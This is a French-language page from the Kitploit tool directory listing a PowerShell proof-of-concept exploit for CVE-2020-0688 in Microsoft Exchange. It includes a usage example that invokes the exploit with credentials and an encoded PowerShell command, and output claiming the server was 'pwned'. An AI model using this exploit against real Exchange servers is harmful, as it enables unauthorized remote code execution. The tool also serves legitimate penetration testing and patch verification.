Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
PSForgot2kEyXCHANGE — PoC pour Forgot2kEyXCHANGE (CVE-2020-0688) écrit en PowerShell | Kitploit
Outils/GitHubGitHub/justin-p/psforgot2keyxchange
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionGénération de Shellcode
GitHubjustin-p/psforgot2keyxchange

PSForgot2kEyXCHANGE

PoC pour Forgot2kEyXCHANGE (CVE-2020-0688) écrit en PowerShell

Voir le dépôt
56il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PSForgot2kEyXCHANGE

Preuve de concept pour Forgot2kEyXCHANGE (CVE-2020-0688) écrit en PowerShell

Utilisation

Cette PoC nécessite un nom d'utilisateur et un mot de passe valides.

Cette PoC utilise ysoserial.net pour créer le nouveau ViewState qui contient la commande que vous avez spécifiée dans le paramètre -Command. Si vous ne l'avez pas déjà installé sur votre système, téléchargez-le ici.

root@kitploit:~
PS> . .\PSForgot2kEyXCHANGE.ps1
PS> Invoke-Forgot2kEyXCHANG -Server 'https://webmail.domain.tld' -User '[email protected]' -Password 'Summer2020!' -Command 'cmd /c powershell.exe -en dwByAGkAdABlAC0AaABvAHMAdAAgACcASQAnAG0AIABhACAAcwB0AGkAbgBrAHkAIABzAGsAaQBkACAAdwBoAG8AIAByAHUAbgBzACAAcgBhAG4AZABvAG0AIABjAG8AZABlACAAOgApACcA=' -YsoserialPath 'C:\tools\ysoserial.net\ysoserial.exe'
[+] Login successfully!
[+] Generated new ViewState successfully!
[+] Got a 500 response, successfully pwned https://webmail.domain.tld !

Contribuer

N'hésitez pas à ouvrir des issues, à contribuer et à soumettre vos Pull Requests. Vous pouvez aussi me contacter sur Twitter (@JustinPerdok)

Télécharger l’outil